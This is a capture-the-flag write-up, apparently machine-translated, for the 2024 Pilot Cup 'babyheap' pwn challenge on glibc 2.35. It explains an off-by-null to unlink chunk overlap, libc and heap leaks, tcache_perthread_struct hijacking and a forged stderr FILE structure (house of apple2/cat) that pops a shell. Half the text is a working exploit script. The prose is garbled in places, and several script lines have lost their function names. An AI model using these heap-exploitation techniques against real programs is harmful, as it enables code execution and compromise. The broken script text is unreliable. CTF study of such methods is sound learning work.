[2024 Pilot Cup] Pwn Direction Problem Solving babyheap
Preface:
Of course I didn't participate in this contest, it's a contest in Jiangsu Province, and the attachment is
Master sent me after the end of the competition, recently things are a little too much, then put aside for a day, yesterday afternoon to think of this thing, only began to look at the topic, XiDP master said it is the 2.35 version of the libc, indeed a high version of the libc, but tricky, I'm too inexperienced debugging half a day, and finally let's take a look at the topic together.Protection strategy.
Reverse analysis:
It's very versatile. It's got everything.
The add function exists in up to 11 heap chunks with no size limitation
There is an off_by_null vulnerability when entering content
delete is that there is no UAF vulnerability, and the show function is that puts prints the presence of 00 truncation.
The edit function can only be used once
About the leaked address:
Of course there is a 00 truncation we can't leak the address directly, so we need to implement unlink to overlap the heap blocks to offset the 00 truncation of off_by_null.
A note on off_by_null after 2.29:
Of course, as you can see before, we only need to fake a prev size bit with off_by_null to complete a series of attacks on unlink, and at that time only free the first heap block, then fd and bk pointers do not need to be forged. However, after glibc 2.29, a check was added to check the size of the heap block you want to free.prev size and the size bit of the previous heap block.Size is not the same, not the same, then it will report an error, of course, want to bypass this check you need to modify the size bit, in fact, the idea then we can apply for 7 heap blocks, release 0, 3, 6 heap blocks, as for why, because we need to modify the size bit, because chunk3 in the middle, so we are better to modify the size bit of it, we release chunk2, then We release chunk2, then chunk2, 3 merged into a large chunk, and then go to apply for the heap block to modify the size bit of chunk3 can be, it is recommended to modify directly to the top_chunk there, because the subsequent to realize the unlink if you still need to add heap block.
Then there needs to be a little bit of heap feng shui here, how to say, because the existence of off_by_null we enter the data will leave a 00, we let the chunk address of chunk3 exists to the position of 00, then in the conduct of the forged fd and bk pointer can bePoint to chunk3 by truncatingHow to do it, because chunk2, 3 merged, modify chunk3 after leaving a chunk, this chunk only the last bit and chunk3 is not the same, we can use this heap block and chunk0, 6 to achieve the purpose of forging fd and bk, of course, chunk0 of the bk pointer is better to forge, chunk6 of the fd pointer. Whatever we type will modify the two bits so we need chunk5 and chunk6 to merge to modify the fd pointer of chunk6 to make it point to chunk3, and finally normal off_by_null will do.
Follow-up attack:
Of course, limiting the heap address and libc address will require hijacking related operations.Because there are no relevant _malloc_hooks and other such hooks left after 2.34, so at first my idea was house of kiwi, but realized that this version of _IO_helper_jumps doesn't have writable permissions.
then had to use the house of apple2 related even, house of cat (specific operation of my first two blogs inside a detailed content), but I here is directly modified stderr structure, not directly forged but I found a drawback, so then a bit of a limit because, we can not modify the space too much if the boundary modification of the stdout then it will be lead to the program stuck, so I'm stuck here half a day, has been debugging, during which I also found that the different versions of some of the utilization of the chain between the judgment conditions are different need to be fine-tuned.
The case of forged pointers
Of course I used it.Hijacking the tcache_ptheread_struct structureto modify the top_chunk and stderr, because I feel that largebin attack is a bit difficult to manipulate, so I simply modify the stderr structure between.
I am using _malloc_assert to trigger the IO, because the program returns normally through the main function so you can also not have to modify the top_chunk, but the structure has to be fine-tuned a bit or else it's like this
EXP:
from gt import *
con("amd64")
io = process("./babyheap")
libc = ELF("./.6")
def add(size,msg):
("> ","1")
("size:",str(size))
("content:",msg)
def free(index):
("> ","2")
("index:",str(index))
def show(index):
("> ","3")
("index:",str(index))
def edit(index,msg):
("> ","4")
("index:",str(index))
("new content:",msg)
def exit():
("> ","5")
add(0x418,'a') #0
add(0x1f8,'a') #1
add(0x448,'a') #2
add(0x438,'a') #3
add(0x208,'a') #4
add(0x418,'a') #5
add(0x428,'a') #6
add(0x208,'a') #7
free(0)
free(3)
free(6)
#(io)
free(2)
#free(5)
#(io)
payload = b'a'*0x448 + b'\xb0\x10'
add(0x468,payload)
#(io)
add(0x418,'a')
add(0x428,'a')
add(0x418,'a')
#(io)
free(6)
free(2)
add(0x418,'a'*8)
free(3)
free(5)
#(io)
payload = b'a'*0x418 + p64(0x431)
add(0x500,payload)
add(0x9f8,'a')
add(0x408,'a')
add(0x408,'a')
payload = b'a'*0x200 + p64(0x10b0)
edit(7,payload)
free(5)
add(0x430,'a')
show(4)
(1)
libc_base = u64((6).ljust(8,b'\x00')) - 0x21ace0
suc("libc_base",libc_base)
IO_hleper_jumps = libc_base + 0x216a00
suc("IO_hleper_jumps",IO_hleper_jumps)
IO_file_jumps = libc_base + 0x217600
stderr = libc_base + 0x21b6a0
show(2)
('a'*8)
heap_base = u64((6).ljust(8,b'\x00')) - 0x1770
suc("heap_base",heap_base)
top_chunk = heap_base + 0x1140
add(0x200,'a')
free(9)
free(7)
key = (heap_base + 0x1000) >> 0xc
payload = b'a'*0xa50 + p64(0x340) + p64(0x210) + p64(heap_base+0x10 ^ key)
add(0xa70,payload)
add(0x200,'a')
add(0x200,b'\x07\x00'*0x40+p64(top_chunk)*20+p64(stderr)*25)
free(7)
free(8)
system = libc_base + ["system"]
fake_io_addr = stderr
fake_IO_FILE = b'/bin/sh\x00' + p64(0x201) +p64(0) +p64(heap_base + 0x200)+p64(0) + p64(0)*3
fake_IO_FILE +=p64(1)+p64(0) #rcx
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61
fake_IO_FILE +=p64(system)#_IO_save_end=call addr rax+0x58
fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0) # _chain
fake_IO_FILE =fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE +=p64(fake_io_addr -0x20) #rax1
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2170c0+0x10-0x28) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0x00000000fbad2800) + p64(libc_base + 0x21b803)*5
#fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
#add(0x500,'b'*8)
add(0x290,fake_IO_FILE)
add(0xc0,p64(0)+p64(0x300))
("> ","1")
#(io)
("size:",str(0x500))
#(io)
()
final result